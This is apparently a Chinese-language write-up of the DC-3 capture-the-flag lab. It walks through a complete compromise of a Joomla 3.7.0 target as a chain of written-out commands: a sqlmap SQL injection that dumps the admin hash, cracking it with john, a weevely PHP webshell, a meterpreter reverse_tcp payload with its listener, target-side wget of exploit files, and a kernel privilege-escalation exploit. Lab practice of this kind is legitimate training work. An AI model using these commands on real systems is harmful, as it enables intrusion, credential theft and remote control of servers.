1. 程式人生 > 其它 >【DC】DC-3

【DC】DC-3

kali:192.168.223.131
target:192.168.223.157

首先確定目標IP為192.168.223.157

arp-scan -l

nmap掃描開放埠,發現只開放了80

nmap -T4 -A 192.168.223.157 -p 1-65535 

whatweb判斷網站模板,發現使用Joomla模板製作

whatweb http://192.168.223.157

對於這些出名的CMS,使用Joomla專門的掃描工具進行掃描

joomscan --url http://192.168.223.157

找到後臺地址在/administrator,發現後臺,但不知道使用者名稱和密碼

由於搜尋出來是Joomla 3.7.0 ,搜尋一下有沒有對應版本的漏洞,找到一個sql注入漏洞,拷貝下來

searchsploit Joomla 3.7.0
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt 42033.txt

此時檢視該txt檔案,要求我們使用該語句進行操作

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

修改一下localhost,使用sqlmap跑一下,稍等片刻,發現庫名為joomladb

sqlmap -u "http://192/168.223.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

接著跑表名,發現很多表,最有可能的是 #__users表,由於有奇怪的符號,所以用雙引號框起來

sqlmap -u "http://192.168.223.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

接下來跑列名,發現6列,最重要的name和password

sqlmap -u "http://192.168.223.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

進行資訊榨取,獲取使用者名稱和密碼為admin和$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

sqlmap -u "http://192.168.223.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,password --dump -p list[fullordering]

建立一個txt檔案,將密碼丟進去進行破解,獲得密碼為snoopy,登陸進去

touch pass.txt
john pass.txt

登陸進去後發現裡面有可以編輯檔案的地方,在Extensions—Templates—Templates中,點選一個模板,在裡面新增檔案並通過拼接獲得檔案路徑

http://192.168.223.157/templates/beez3/html/com_contact/contact/haha.php

通過weevely生成密碼123456的php木馬,將其複製進去

weevely generate 123456 webshell.php

進行連線,通過使用/不使用冒號使用命令,是kali的一句話木馬

weevely http://192.168.223.157/templates/beez3/html/com_contact/contact/haha.php 123456

檢視Linux系統核心版本,是Ubuntu 16.04的版本

nmap -O 192.168.223.157
find / -user root -perm -4000 -print 2>/dev/null
lsb_release -a

對該版本進行漏洞搜尋,檢視如何處理,提示我們去GitHub下載

searchsploit Ubuntu 16.04
cp /usr/share/exploitdb/exploits/linux/local/39772.txt 39772.txt

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

將該zip下載到kali,通過python開啟的網站服務讓目標下載

//kali
python -m SimpleHTTPServer 8000

//target
wget 192.168.223.131:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

這裡無法提權到root,換成msf

//terminal1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.223.131 LPORT=4444 > msfshell.php

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.223.131
exploit

//terminal2
python -m SimpleHTTPServer 8000

//terminal3
wget 192.168.223.131:8000/msfshell.php

//訪問網址
192.168.223.157/templates/beez3/html/com_contact/contact/msfshell.php

目標上線後再次進入39772檔案執行doubleput檔案,可以執行,提權至root

到root目錄下檢視flag,遊戲結束